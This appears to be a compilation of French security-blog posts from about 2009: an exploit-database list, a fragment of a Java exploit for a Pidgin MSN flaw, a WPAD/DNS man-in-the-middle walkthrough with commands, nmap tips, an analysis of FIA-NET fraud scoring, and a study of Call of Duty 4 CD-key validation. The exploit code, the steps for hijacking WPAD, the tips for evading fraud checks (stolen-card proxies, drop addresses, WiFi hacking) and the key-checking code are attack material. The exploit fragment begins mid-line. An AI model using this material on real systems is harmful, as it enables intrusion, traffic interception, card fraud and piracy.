• Et enfin, Fedora c’est plutôt une distribution de test (2 ou 3 nouvelles versions / an), de bureautique et pas trop utilisé en prod, ils ont intégré ce package afin de simplifier la vie des utilisateurs.

La commande pour désactiver packagekit est la suivante :

pklalockdown --lockdown org.freedesktop.packagekit.package-install

En conclusion, même si un Linuxien élite réussit à trouver un trick pour rooter le serveur via PackageSite, l’impact sera très limité.

Par contre, si ça peut vous rassurer, il est nécessaire d’avoir le mot de passe root pour désinstaller des package :)

Heureusement, milw0rm n’est pas l’unique site recensant des exploits, voici une petite liste de sites et de frameworks toujours à jour, que j’ai pu glaner ici et là au fil du temps:

• Offensive security : Le tout nouveau clone de milw0rm, espérons que ses créateurs puissent tenir la cadence.
• Metasploit : On ne le présente plus, principalement orienté système et réseaux, il contient peu d’exploits web. svn update régulier indispensable pour le tenir à jour.
• Security Focus : Il s’agit plus d’une base de vulnérabilités que d’une liste d’exploits, cependant les exploits y restent nombreux.
• Packet Storm Security : Packetstorm est principalement connu pour ses petits scripts/tools de hacking mais le site tient également une base d’exploit et un fil RSS dédié à celle-ci.
• sebug : J’ai découvert ce site hier, pas mal d’exploits dessus, mais aussi beaucoup de vulns.
• Security Reason : Un site avec plusieurs flux RSS, dont un dédié aux derniers exploits. Ils ont d’ailleurs publié récemment un exploit bypass openbase_dir php drôlement sympathique :).
• Bugtraq : Une mailing list, elle est intégrée au fil RSS de securityfocus on y retrouve principalement des annonces de correctifs de la part des éditeurs, mais il y a parfois des exploits.
• Full Disclosure : Encore une mailing list, cette fois-ci avec beaucoup de trolls et quelques exploits 0day de temps en temps. Il y a parfois tellement de trolls que l’on peut passer à coté de ces petites perles :).

On peut ajouter à cette liste l’Open Source Vulnerability Database, le Common Vulnerabilities Exposures et la National Vulnerability Database qui recensent toutes les vulnérabilités existantes des logiciels et parfois des liens vers des exploits.

Bien entendu cette liste n’est pas exhaustive, si vous connaissez d’autres sites qui valent le coup n’hésitez pas à les signaler en commentaire.

/*
* Pidgin MSN > 8);
       payload[shellcode.length + 2] = (byte)((neweip & 0x00FF0000) >> 16);
       payload[shellcode.length + 3] = (byte)((neweip & 0xFF000000) >> 24);
   }

   public void start() {
       messenger = MsnMessengerFactory.createMsnMessenger(login,password);
       messenger.getOwner().setInitStatus(MsnUserStatus.ONLINE);

       messenger.setLogIncoming(false);
       messenger.setLogOutgoing(false);

       initMessenger(messenger);
       messenger.login();
   }

   protected void initMessenger(MsnMessenger messenger) {

   messenger.addContactListListener(new MsnContactListAdapter() {

           public void contactListInitCompleted(MsnMessenger messenger) {

               final Object id = new Object();

               messenger.addSwitchboardListener(new MsnSwitchboardAdapter() {

                   public void switchboardStarted(MsnSwitchboard switchboard) {

                       if (id != switchboard.getAttachment())
                           return;

                       switchboard.inviteContact(Email.parseStr(target));
                   }

                   public void contactJoinSwitchboard(MsnSwitchboard switchboard, MsnContact contact) {
                       if (id != switchboard.getAttachment())
                           return;

                       MsnP2PSlpMessage msg = new MsnP2PSlpMessage();
                       msg.setIdentifier(NumberUtils.getIntRandom());
                       msg.setSessionId(session_id);
                       msg.setOffset(0);
                       msg.setTotalLength(totallength);
                       msg.setCurrentLength(totallength);

                       // This flag create a bogus MsnSlpPacket in pidgin memory with a buffer pointing to null
                       // We'll use this buffer to rewrite memory in the stack
                       msg.setFlag(0x1000020);

                       msg.setP2PDest(target);

                       switchboard.sendMessage(msg);

                       System.out.println("First packet sent, waiting for the ACK");

                   }

                   public void switchboardClosed(MsnSwitchboard switchboard) {
                       System.out.println("switchboardClosed");
                       switchboard.getMessenger().removeSwitchboardListener(this);
                   }

                   public void contactLeaveSwitchboard(MsnSwitchboard switchboard, MsnContact contact){
                       System.out.println("contactLeaveSwitchboard");
                   }
               });
               messenger.newSwitchboard(id);
           }
       });

       messenger.addMessageListener(new MsnMessageAdapter(){

           public void p2pMessageReceived(MsnSwitchboard switchboard,MsnP2PMessage message,MsnContact contact) {

               //We receive the ACK of our first packet with the ID of the new bogus packet
               message.getIdentifier();

               MsnP2PDataMessage msg = new MsnP2PDataMessage(session_id, message.getIdentifier(), neweip,
                       payload.length, payload, target);

               switchboard.sendMessage(msg);
               System.out.println("ACK received && Payload sent !");
               System.out.println("Exploit OK ! CTRL+C to quit");

           }
       });

       messenger.addMessengerListener(new MsnMessengerAdapter() {

           public void loginCompleted(MsnMessenger messenger) {
               System.out.println(messenger.getOwner().getEmail() + " login");
           }

           public void logout(MsnMessenger messenger) {
               System.out.println(messenger.getOwner().getEmail() + " logout");
           }

           public void exceptionCaught(MsnMessenger messenger,
                   Throwable throwable) {
               System.out.println("caught exception: " + throwable);
           }
       });

   }
}

• WPAD et DNS

Dans une configuration par défaut, le serveur DNS d’un domaine fait assez confiance aux machines et aux utilisateurs de la forêt pour les autoriser à ajouter un enregistrement au sein de la zone du domaine. Cela signifie qu’un utilisateur ou une machine du domaine peut associer un nom (inclus dans la hiérarchie domaine) à n’importe quelle ip.

Si le domaine est mondomaine.local, une machine ne peut ajouter l’enregistrement banque.com, par contre elle peut ajouter pc1.mondomaine.local .

Il est également impossible d’écraser un enregistrement qui ne vous appartient pas. Les enregistrements sont des objets, ils sont détenus par des utilisateurs et possèdent des droits d’accès.

Les noms de machine WPAD et ISATAP sont particulièrement intéressants. Il est possible de les utiliser afin de mener des attaques de type Man In The Middle. ISATAP sert de tunnel ipv6 over ipv4. WPAD est la machine qui détient le fichier de configuration automatique du proxy pour les navigateurs MSIE, nous allons nous concentrer sur cette dernière.

Lorsque les navigateurs Internet Explorer du domaine sont configurés de manière à détecter automatiquement les paramètres de connexions, ils vont chercher un serveur nommé WPAD pour y récupérer un fichier de configuration qui va déterminer quel proxy utiliser. S’ils ne trouvent pas ce serveur, ils se connecteront directement à Internet.

Si un attaquant réussit à usurper le nom de ce serveur, il pourra proposer son fichier de configuration et forcer les utilisateurs à utiliser le proxy de son choix.

Note : Il existe un autre moyen pour configurer automatiquement le proxy d’un navigateur via le protocole DHCP. Il s’agit d’une autre fonctionnalité, ici nous nous concentrerons sur l’attaque via l’utilisation d’un enregistrement DNS.

• Mise en place de l’attaque

Pour réaliser cette attaque, le nom WPAD ne doit pas déjà être enregistré sur le serveur DNS (nous ne disposons pas des droits nécessaires pour l’écraser).

Mettre en place le fichier de configuration automatique du proxy
Le fichier de configuration doit être en place sur le serveur HTTP de la machine WPAD. Il doit être mis à la racine sous le nom de wpad.dat et doit contenir l’adresse ip du proxy de l’attaquant. Voici sa structure :

function FindProxyForUrl(url, host){

	return "PROXY 192.168.10.14:8080";

}

Créer l’enregistrement WPAD
Si l’on possède un compte administrateur local sur une machine du domaine, il faut renommer cette dernière en WPAD. L’association du nom WPAD ip de la machine devrait s’enregistrer automatiquement dans le serveur DNS (via le protocole DHCP). Si ce n’est pas le cas, il faut utiliser la commande : ipconfig /registerdns.

Si l’on possède un compte utilisateur sur le domaine, on peut ajouter l’enregistrement WPAD à partir de n’importe quelle machine du domaine. L’avantage de procéder avec cette méthode est que l’enregistrement pourra pointer vers n’importe quelle ip. Pour cela on utilise dnsfun.

C:Documents and Settingsdev1Bureaudnsfun>dnsfun.exe -q wpad
 Microsoft Dynamic DNS Updates - Proof of Concept
 http://www.514.es - (c) 2007 Andres Tarasco Acu±a
[+] Gathering Credentials..
[+] Query Information for host wpad...
[-] Record not found

C:Documents and Settingsdev1Bureaudnsfun>dnsfun.exe -c wpad.tp3.local  -u 19
2.168.10.14
 Microsoft Dynamic DNS Updates - Proof of Concept
 http://www.514.es - (c) 2007 Andres Tarasco Acu±a
[+] Gathering Credentials..
[+] Creating DNS A Record for wpad.tp3.local (192.168.10.14)
[+] Host Created. Rechecking Record...
[+] Host wpad.tp3.local resolved as 192.168.10.14

C:Documents and Settingsdev1Bureaudnsfun>dnsfun.exe -q wpad
 Microsoft Dynamic DNS Updates - Proof of Concept
 http://www.514.es - (c) 2007 Andres Tarasco Acu±a
[+] Gathering Credentials..
[+] Query Information for host wpad...
[+] Host wpad.tp3.local resolved as 192.168.10.14

Le propriétaire de l’enregistrement DNS sera différent en fonction de la méthode utilisée : avec la première méthode, le compte machine WPAD$ sera le propriétaire, avec la deuxième, c’est l’utilisateur qui sera le propriétaire de l’enregistrement.

• Le patch ms09-008

La publication du patch ms09-008 a fait couler beaucoup d’encre, selon certaines personnes, le patch en question ne corrigerait pas totalement la vulnérabilité. Microsoft dément et considère l’enregistrement automatique du nom WPAD comme une fonctionnalité, non comme une vulnérabilité.

Le patch a pour effet de désactiver la fonctionnalité WPAD si elle n’est pas utilisée.

Lors de l’application du patch, ce dernier va détecter si un enregistrement WPAD (ou ISATAP) est déjà présent dans le serveur DNS. Si aucun enregistrement n’est présent, le patch va créer une clef de registre qui va avoir pour effet d’empêcher la résolution du nom WPAD.

Cela signifie que, si un administrateur (ou un pirate) ajoute un enregistrement WPAD après l’application du patch, il devra également supprimer la clef de registre bloquant la résolution WPAD. Sinon le nom ne sera pas résolu.

Si le nom WPAD est déjà présent dans le serveur DNS lors de l’application du correctif, le patch ne bloque pas la résolution du nom. Cela est dû au fait que le correctif ne peut pas déterminer de lui-même si l’enregistrement en question est légitime ou non.

Il est vrai qu’une fonctionnalité permettant à un utilisateur lambda d’associer le nom WPAD à n’importe quelle adresse ip laisse à désirer, on aurait préféré un patch interdisant l’enregistrement automatique du nom WPAD ou ISATAP.

• Exécuter nmap en root

A la base, on pourrait croire que la seule raison valable pour exécuter nmap en root est pour profiter du scan SYN -sS plus rapide et plus discret que le scan connect -sC. En réalité, il existe une autre option que l’on utilise très souvent avec nmap et qui nécessite des droits privilégiés pour fonctionner efficacement: le ping -sP .

Lorsque l’on effectue un ping -sP en root, nmap va envoyer un paquet TCP SYN sur le port 80, puis un paquet ICMP “echo request”. Si la cible répond à un des deux paquets, elle sera considérée online.

Cependant, si utilisateur classique effectue un -sP, seul un paquet TCP SYN sera envoyé, pas de ping ICMP. Pour peu que le firewall drop les paquets vers le port 80, et on ne détectera pas l’hôte !

Il y a encore un autre cas où le ping ICMP n’est pas effectué lors d’un scan, si l’on spécifie l’option -PU ou -PS (options indiquant les ports UDP/TCP à utiliser pour le ping) alors il faut explicitement spécifier l’option -PE pour envoyer un ping ICMP.

• Gagner du temps lors des scans

Utiliser les options -PU/-PS/-PE plutôt qu’un scan -PN/-P0

L’option -PN effectue un scan de port en considérant que la cible est online, même si elle n’a pas répondu au ping. Le simple fait de scanner un réseau /24 sur 1000 ports en -PN est déjà très long.

Une alternative pourrait être de pinger la cible sur une dizaine, voire une vingtaine de ports très courants, puis déclencher un scan sur les 1000 ports seulement si au moins un des ports a répondu au ping. Par exemple :

root@hacktop:~# nmap -PS21-23,25,80,135-139,443 -PU53,68,161 -sU -sS --top-ports 1000 10.0.0.0/24 --reason

Interesting ports on 10.0.0.13:
Not shown: 1991 closed ports
Reason: 996 resets and 995 port-unreaches
PORT     STATE         SERVICE      REASON
135/tcp  open          msrpc        syn-ack
139/tcp  open          netbios-ssn  syn-ack
445/tcp  open          microsoft-ds syn-ack
912/tcp  open          unknown      syn-ack
123/udp  open|filtered ntp          no-response
137/udp  open|filtered netbios-ns   no-response
138/udp  open|filtered netbios-dgm  no-response
445/udp  open|filtered microsoft-ds no-response
1900/udp open|filtered upnp         no-response
MAC Address: 11:22:33:44:55:66 (Fake Computer)

Cette commande regarde si au moins un des ports TCP 21-23,25,80,135-139,443 (-PS) ou un des ports UDP 53,68,161 (-PU) est ouvert. Si c’est le cas, alors on scan les 1000 ports TCP (-sS) et les 1000 ports UDP (-sU) les plus fréquents (–top-ports).

Attention à l’option -F :

Dans la version stable actuelle de nmap (4.76), l’option Fast -F n’optimise pas vraiment la vitesse du scan de ports, cette option est uniquement relative au nombre de ports scannés. Par défaut nmap scan 1650 ports, avec l’option -F vous scannerez les ports contenus dans nmap-services,soit plus de 1200 ports, ce qui ne fait pas une grosse différence.

Utilisez plutôt la commande –top-ports 100 qui scannera les 100 ports les plus courants. (A noter que dans la version beta actuelle 4.85, l’option -F est égale à un –top-ports 100 ).

Pour avoir une idée des ports les plus fréquents selon nmap :

pierz@hacktop:~$ sort -r -k3 /usr/local/share/nmap/nmap-services  | egrep -v '^#' | grep tcp  | head
http                80/tcp  0.484143        # World Wide Web HTTP
telnet              23/tcp  0.221265
https               443/tcp 0.208669        # secure http (SSL)
ftp                  21/tcp  0.197667        # File Transfer [Control]
ssh                  22/tcp  0.182286        # Secure Shell Login
smtp                25/tcp  0.131314        # Simple Mail Transfer
ms-term-serv    3389/tcp        0.083904        # Microsoft Remote Display Protocol
pop3               110/tcp 0.077142        # PostOffice V.3
microsoft-ds     445/tcp 0.056944        # SMB directly over IP
netbios-ssn      139/tcp 0.050809        # NETBIOS Session Service

Enlever la résolution des noms :

L’option -n permet d’éviter de faire des requêtes DNS PTR, on peut gagner beaucoup de temps si on effectue un simple ping sur une plage d’adresse d’ip, par exemple sur une plage /24 :

root@hacktop:~# nmap -sP 10.0.0.0/24

Starting Nmap 4.85BETA3 ( http://nmap.org ) at 2009-03-15 13:30 CET
Host 10.0.0.1 appears to be up.
Host 10.0.0.10 appears to be up.
MAC Address: 11:22:33:44:55:66 (VMware)
Host 10.0.0.13 appears to be up.
MAC Address: 11:22:33:44:55:67 (FakeComputer)
Nmap done: 256 IP addresses (3 hosts up) scanned in 28.44 seconds

root@hacktop:~# nmap -n -sP 10.0.0.0/24

Starting Nmap 4.85BETA3 ( http://nmap.org ) at 2009-03-15 13:33 CET
Host 10.0.0.1 appears to be up.
Host 10.0.0.10 appears to be up.
MAC Address: 11:22:33:44:55:66 (VMware)
Host 10.0.0.13 appears to be up.
MAC Address: 11:22:33:44:55:67 (Fake Computer)
Nmap done: 256 IP addresses (3 hosts up) scanned in 2.44 seconds.

Attention à l’option – -host-timeout :

L’option - -host-timeout, cette option ne règle pas le timeout d’un paquet, mais le temps maximum à passer sur un hôte lors d’un scan.

Régler finement le timeout :

Il est intéressant de régler le timeout de nmap, en particulier lors des scans effectués en -PN ou -P0. Il y a de nombreuses options pour régler finement tous ces paramètres, mais je ne vous conseille pas d’y toucher directement.

Je vous recommande plutôt de vous limiter à l’option -T . Elle permet de choisir un template parmi 5 qui règle l’ensemble des options concernant la vitesse du scan.

Par défaut nmap effectue un scan -T3, si on utilise ce template, les options suivantes seront réglées de cette façon :

• Le timeout d’un paquet est fixé entre 100ms et 10000ms. ( ce qui peut être long).
• Les paquets qui timeouts sont renvoyés entre 1 et 10 fois.

On peut utiliser un template « aggressive » -T4 pour des ips externes (sauf si l’on travaille dans un endroit où l’on a une connexion pourrie):

• Le timeout d’un paquet est fixé entre 500ms et 1250ms.
• Les paquets sont rejoués entre 1 et 6 fois.

Et on effectuera plutôt un scan -T5 sur un réseau local de bonne qualité ( pas du wifi foireux par exemple ) :

• Le timeout d’un paquet est fixé entre 50ms et 300ms.
• Les paquets sont rejoués au maximum 2 fois.
• On ne passe pas plus de 15 minutes sur un hôte.

Ne pas confondre scan agressif -A et template agressif (-T aggressive ou -T5) :

L’option scan agressif -A effectue de nombreuses opérations qui peuvent faire perdre du temps, en plus d’effectuer une détection d’OS (-O) et des services (-sV), elle lance un traceroute ainsi que des scripts d’attaque et des scans de failles (je reviendrai là-dessus plus tard). En plus de faire perdre du temps, ces scripts peuvent avoir des effets non désirés ou être trop intrusifs en fonction du contexte.

• Autres options intéressantes

L’option –resume permet de reprendre un scan interrompu avec CTRL+C si ce dernier a été sauvegardé au format nmap -oN ou greppable -oG (ou encore -oA).

La seule option utile au niveau de l’IDS evasion est celle qui permet de définir le port source -g. On peut l’utiliser afin de contourner certains firewalls mal configurés, on utilisera le port 20 en scan TCP (FTP actif) ou le port 53 (DNS) lors d’un scan UDP -sU.

Il est possible d’effectuer des requêtes DNS PTR via l’option -sL. Cette option permet de faire de la reconnaissance en repérant des hôtes possibles sur une plage d’adresse ip, sans leur envoyer un seul paquet.

Un détail, si vous avez envie de comprendre pourquoi nmap a déterminé si un port était OPEN/FILTRED/CLOSE/… , vous pouvez ajouter l’option –reason .

• Les scripts

Attention, les fonctionnalités suivantes sont intéressantes mais reste peu fiables. Mieux vaut utiliser des outils spécialisés dans la détection de faille (nessus) ou de bruteforce (hydra) pour effectuer ce genre d’attaque.

Grâce aux scripts, nmap peut : récupérer plus d’informations relatives aux ports scannés, effectuer un scan de failles ou encore réaliser des attaques. On peut exécuter les scripts par défaut en utilisant l’option -sC (le scan agressif -A exécute également ces scripts).

Parmi ces attaques on a du bruteforce classique comme telnet, http basic, ftp… Ils peuvent également vérifier si clefs SSH sont vulnérables (debian-opensll ), lister les users,groups,… via SMB sur un windows (null sessions) , tenter un transfert de zone…, bref, plein de choses diverses et variées.

Les scripts sont stockés dans le dossier script du répertoire d’installation de nmap (/usr/local/share/nmap/script par défaut). Jeter un coup d’oeil sur le site pour comprendre comment ça marche.

Voici un petit aperçu :

root@hacktop:/usr/local/share/nmap/scripts# nmap --top-ports 50 --script all localhost

Starting Nmap 4.85BETA3 ( http://nmap.org ) at 2009-03-15 17:53 CET
Interesting ports on localhost (127.0.0.1):
Not shown: 47 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
|_ banner: SSH-2.0-OpenSSH_5.1p1 Debian-3ubuntu1x0Dx0A
|  ssh-hostkey: 1024 be:ff:7f:5f:af:bb:bb:f8:4a:ed:3d:ca:af:01:d6:9a (DSA)
|_ 2048 d3:7b:77:12:57:11:d3:11:ac:fa:1c:80:a3:6f:44:f1 (RSA)
23/tcp open  telnet
|_ banner: xFFxFDx18xFFxFD xFFxFD#xFFxFD'
|_ telnet-brute: telnet - telnet
80/tcp open  http
|_ html-title: Index of /

root@hacktop:/usr/local/share/nmap/scripts# nmap  --script all 10.0.0.10,13

Starting Nmap 4.85BETA3 ( http://nmap.org ) at 2009-03-15 18:09 CET
Interesting ports on 10.0.0.10:
Not shown: 984 closed ports
PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
|_ banner: ncacn_http/1.0
636/tcp  open  ldapssl
1025/tcp open  NFS-or-IIS
1026/tcp open  LSA-or-nterm
1028/tcp open  unknown
|_ banner: ncacn_http/1.0
1040/tcp open  netsaint
1048/tcp open  unknown
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
MAC Address: 11:22:33:44:55:66 (VMware)

Host script results:
|_ nbstat: NetBIOS name: INDAHAX-DC, NetBIOS user: , NetBIOS MAC: 11:22:33:44:55:66
|  smb-os-discovery: Windows Server 2003 3790
|  LAN Manager: Windows Server 2003 5.2
|  Name: INDAHAXINDAHAX-DC
|_ System time: 2009-03-15 18:09:58 UTC+1
|  smb-security-mode: User-level authentication
|  SMB Security: Challenge/response passwords supported
|_ SMB Security: Message signing required

Interesting ports on 10.0.0.13:
Not shown: 996 closed ports
PORT    STATE SERVICE
135/tcp open  msrpc
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
912/tcp open  unknown
|_ banner: 220 VMware Authentication Daemon Version 1.0, ServerDaemonPr...
MAC Address: 11:22:33:44:55:67 (Fake Computer)

Host script results:
|_ sniffer-detect: Likely in promiscuous mode (tests: "111___1_")
|  smb-security-mode: User-level authentication
|  SMB Security: Challenge/response passwords supported
|_ SMB Security: Message signing not supported
|  smb-os-discovery: Windows XP
|  LAN Manager: Windows 2000 LAN Manager
|  Name: WORKGROUPPIERRE-WG
|_ System time: 2009-03-15 18:09:56 UTC+1
|_ nbstat: NetBIOS name: PIERRE-666, NetBIOS user: , NetBIOS MAC: 11:22:33:44:55:67

Nmap done: 2 IP addresses (2 hosts up) scanned in 36.32 seconds

Références:

[1] man nmap

Un jour j’ai fait un achat sur le net, j’avais acheté pour environ 800€ de matos informatique, commandé de mon domicile avec adresse de livraison à mon domicile et paiement avec une carte de crédit à mon nom… Pourtant j’ai eu droit à un contrôle FIANET ! Ces contrôles vous obligent à envoyer photocopie de pièce d’identité, RIB et d’autres merdes. Ils ne sont pourtant pas effectués sur des gens au hasard ils interviennent en fonction du « scoring » que FIANET vous a attribué.

En réalité, la raison de mon contrôle FIANET a probablement été due à mon adresse @hotmail.it car elle comporte 2 gros points négatifs: tout d’abord hotmail est une adresse de type gratuit très mal vue, ensuite une extension .it alors que je commande en France parait également suspect !
A ça on ajoute un montant de 800 € qui ne fait qu’empirer le scoring de mon évaluation :(

• Les critères du scoring

Voici les différents critères qui vont définir le scoring, il ne représente en rien une liste exhaustive des critères de FIANET mais proviennent des recherches que j’ai pu effectuer sur les forums de e-commerce et les logiciels de détection de fraude. Certains de ces contrôles peuvent être effectués automatiquement tandis que d’autres auront besoin d’être faits manuellement.

• Pays de l’ adresse IP de la commande différent de celui de l’adresse de livraison: très suspect, contrôle systématique.
• Pays de l’ adresse IP de la commande différent du pays de la carte bancaire: très suspect, contrôle systèmatique.
  Détecter le pays d’une carte bancaire est faisable grâce aux premiers chiffres de cette dernière par exemple:

  4974;Visa;BNP
  4975;Visa;La Bred
  4976;Visa;Sofinco
  4978;Visa;Caisse d Epargne

  Une bonne liste est disponible ici .

• Adresse email de type gratuit (@hotmail,@yopmail,@yahoo,…).
• TLD du domaine de l’email représentant un pays différent de l’adresse de livraison.
• Adresse de livraison absente dans les pages blanches.
• Numéro de téléphone portable au lieu de fixe.
• Numéro de téléphone ne correspond pas avec le numéro des pages blanches: suspect.
• Présence de header proxy: très suspect.
• Utilisation d’une ip, adresse email, adresse, nom ou password (dans la mesure du possible ), carte bancaire répertoriée: contrôle lourd, proposer un autre mode de paiement.
  En effet FIANET sauvegarde tous paramètres correspondants aux fraudes ayant déjà eu lieu.
• Utilisation d’un proxy public, d’un noeud tor: très négatif, contrôle systématique.
• Plus le montant de la commande est élevé plus le risque de contrôle est grand.
• IP Geolocalisation: Plus la distance entre l’adresse IP du client et l’adresse de livraison est grande plus le risque de contrôle est grand.
• Livraison dans les boites postales: suspect.
• Contrôle humain: Information Nom/Prénom/Adresse suspect et incohérent.
• Contrôle humain: Achat de produit compact, cher et en plusieurs quantités ( genre plusieurs ipod ou plusieurs laptop ).

• Un système infaillible ?

Malgré toutes ces protections, ce système est loin d’être infaillible le cybercriminel pourra toujours passer entre les mailles du filet, par exemple:

_Une commande d’un montant maximum de 200€ (après ça dépend du type du magasin ).
_Utiliser une carte bancaire française: facile.
_Avoir une ip française, utilisation d’un proxy privé opaque++ sans header: s’achète facilement avec des CC volés car pas cher, mais complique déjà la tache du hacker.
OU
_Une ip dans la ville de livraison (hacking WIFI / point d’accès public): Assez facile mais chiant.
_Une adresse de livraison: Squat de hall, utilisation de passe PTT, certains facteurs habitués déposent les colis dans les cages d’escalier sur les boites au lettre, ou alors plus difficile, empreint d’appartement.
_Avoir une adresse et un numéro de téléphone dans les pages blanches complique la tâche.

Ces moyens sont à la disposition de n’importe quel individu motivé…

• Des statistiques

Ici je parle de statistiques correspondants à la fraude effective ( c’est-à-dire que les tentatives de fraudes détectées qui ont échouées ne sont pas prises en compte ).

Selon le rapport annuel de l’observatoire de la sécurité des cartes de paiement, le montant total des fraudes s’élève à 26.4 millions d’euros en 2007 ce qui représente 0.28 % du montant total des transactions ayant eu lieu sur internet. Ces statistiques sont basées sur l’utilisation des cartes bancaires françaises avec des ecommerces français.

Selon le livre blanc de FIA-NET cela représente 2.7 millions d’euros soit 0.16% du montant total des transactions. Ces statistiques sont différentes car elles reposent sur un échantillon de 900 commerçants ( ce qui explique le montant plus faible ) possédant tous le système d’antifraude de FIA-NET (ce qui explique pourquoi le pourcentage est plus faible).

Je n’ai pas réussi à récupérer les statistiques du FEDAV, je sais qu’elle tourne aux alentours de 0.12 % mais je ne sais pas trop sur quoi elles reposent.

26.4 millions d’euros / an ça fait quand même beaucoup d’argent (même si le taux de fraude reste faible), je me demande à qui profite cet argent ? Groupe de cybercriminel roumain implanté en France ? Hackers blackhat indépendants ? Ou simple client malveillant utilisant sa propre carte bleu et réfutant le paiement ? Mystère, pas de statistique là-dessus.

Plus tard je parlerai peut-être de l’origine de ces cartes bancaires volées.

Lors de mon précédent post j’avais expliqué comment était calculé le pb_guid à partir de la clef CD. Cela m’a donné envie d’examiner un peu plus en profondeur le protocole COD4 afin de voir de quelle façon sont vérifiées les clefs CD. Dans cet article je ferai un point sur :

1) Le protocole de validation de clef COD4
2) S’il est possible de générer une clef valide à partir d’un keygen
3) Les trojans key stealers et le vol de clef CD
4) Comment être TOP EU sur clanbase

• Le protocole

COD4 utilise en partie le protocole q3engine dont les sources sont disponibles ici. Ce protocole fonctionne avec un serveur principal (Master) qui s’occupe de recenser les serveurs en ligne et de vérifier la validité des clefs.

Voici un extrait de l’échange entre le Master et un serveur lors du démarrage de ce dernier :

server => master:20810
heartbeat COD-4.

master:20810 => server
getchallenge -1523121167

master:20810 => server
getstatus -1523121167

server => master:20800
getIpAuthorize 611600408 63.146.124.21 "" 0

server => master:20810
statusResponse
g_compassShowEnemies?g_gametypewargamenameCall of Duty 4mapnamemp_backlotprotocol6shortversion1.7sv_allowAnonymous?sv_disableClientConsole?sv_floodprotect1sv_hostnameDiggysv_maxclients12sv_maxPing?sv_maxRate25000sv_minPing?sv_privateClients?sv_punkbuster1sv_pure1sv_voice?ui_maxclients32challenge-1523121167pswrd?mod?

client => server
getinfo xxx

server => client
infoResponse
challengexxxprotocol6hostnameDiggymapnamemp_backlotsv_maxclients12gametypewarpure1kc1hw2mod?voice?pb1

server => master
heartbeat flatline.

Dès que le serveur démarre il envoie un message « heartbeat » pour informer le master que le serveur est en ligne. Il continuera d’envoyer le message « heartbeat » toutes les 5 minutes pour montrer sa présence en ligne. Lorsque le serveur s’arrête il envoie alors un message « heartbeat flatline » pour signaler au master son passage hors ligne.

Le master va alors répondre en envoyant le message « getchallenge » ainsi que le message « getstatus » . Le message getchallenge permet au Master d’authentifier le serveur de jeu, le master l’ajoutera à sa liste uniquement si le serveur répond avec le message « getIpAuthorize » suivi d’un numéro de challenge et de l’ip du Master.

Une fois le serveur de jeu identifié auprès du master, il peut recevoir 2 types de messages :
_Les messages « connectionless » qui représente les messages envoyés par des clients ou des browsers de serveur de jeu (gamespy/All Seeing Eye), ces messages sont getstatus, getinfo, getchallenge, connect, ipAuthorize, rcon .
_Les messages en rapport avec les clients connectés (les joueurs , les pgms et les noobs).

Connexion d’un client :

client => master:20800
getKeyAuthorize 0 ABCD-0123-4567-89AB PB 1c8f2b0836a17b0186c8b207fd688e68

client => server
getchallenge 0 "1c8f2b0836a17b0186c8b207fd688e68"

server => master:20800
getIpAuthorize 1204470709 89.3.249.119 "" 0 PB "1c8f2b0836a17b0186c8b207fd688e68"

master:20800 => server
ipAuthorize 1204470709 accept KEY_IS_GOOD 541288 1c8f2b0836a17b0186c8b207fd688e68

server => client
challengeResponse 1204470709

client => server
connect "cg_predictItems1cl_anonymous?cl_punkbuster1cl_voice?cl_wwwDownload1rate25000snaps30namepierzprotocol6challenge1204470709qport-5676"

server => client
connectResponse

On arrive à la partie qui nous intéresse : la connexion du client. Avant de se connecter à un serveur, le client envoie sa clef CD ainsi que son PB_GUID au serveur master via le message getKeyAuthorize. Cela permet au master d’associer l’adresse ip d’un client avec une clef CD et un GUID. Le client envoie ensuite au serveur un message getchallenge suivi de son pb_guid . Le serveur va alors demander au master si la clef correspondant à ce guid et cette ip est valide.

Le master va répondre au serveur avec le message « ipAuthorize » de différente façon :
-> KEY_IS_GOOD : la clef est valide, le client sera accepté par le serveur.
-> INVALID_CDKEY : la clef est invalide, le client ne pourra pas se connecter au serveur.
-> CLIENT_UNKNOWN_TO_AUTH : le message getKeyAuthorize envoyé par le client n’a pas été reçu par le serveur ou bien il a été reçu mais à partir d’une autre ip, le client ne pourra pas se connecter (j’ai d’ailleurs remarqué que le message getKeyAuthorize était envoyé 2 fois par le client pour éviter les UDP packet loss).

Sur cod 1 et cod 2 il suffisait d’éditer le fichier hosts en ajoutant la ligne: « 127.0.0.1 cod2master.activision.com » pour créer un serveur cracké car le serveur refusait la connexion d’un client uniquement s’il recevait le message INVALID_CDKEY, s’il ne recevait pas de message le client était quand même autorisé à se connecter.

Sur cod4 le serveur attend obligatoirement une réponse au message « getIpAuthorize » c’est pourquoi il faut utiliser le « no wait patch » dispo sur gamecopyworld , qui émule les autorisations de clefs CD.

S’ensuit l’échange de challenge pour authentifier le client et la confirmation de connexion au serveur avec les messages « challengeResponse » , « connect » et « connectResponse » . Ces messages ne nous intéressent pas vraiment, car on a assez d’information pour réaliser notre vérificateur de clef CD.

• Générer des clefs CD valides ?

Pour expérimenter tout çà j’ai réalisé un petit tool qui test des clefs CD, j’en ai générées + de 10 millions via l’algo du keygen razor. Résultat : « EPIC FAIL », aucune n’était valide ! Donc n’essayez pas de générer plusieurs clefs avec un keygen dans l’espoir d’avoir un jour une clef valide :)

Je ne release pas le tool car il est inefficace et peu causer un DOS s’il est utilisé en masse.

Cependant voici un extrait du code qui résume bien le principe du programme :

//pour chaque clef CD

//on calcule le GUID correspondant
cod4key2guid(formatkey,guid);

//on s'identifie auprès du serveur Master (émulation du client)
sprintf(l_buffer,"ÿÿÿÿgetKeyAuthorize 0 %s PB %s",formatkey,guid);
sendto(listen_s,l_buffer,strlen(l_buffer),0,(struct sockaddr*)&masterAddr,sizeof(masterAddr)).
Sleep(250);

//on simule une connexion de ce même client sur un serveur (émulation du serveur)
sprintf(l_buffer,"ÿÿÿÿgetIpAuthorize %d %s "" 0 PB "%s"",challenge,localIp,guid);
sendto(listen_s,l_buffer,strlen(l_buffer),0,(struct sockaddr*)&masterAddr,sizeof(masterAddr))

//On recoit la réponse
recvfrom(listen_s,l_buffer,BUFFERSIZE,0,(struct sockaddr*)&fromAddr,&fromSize )

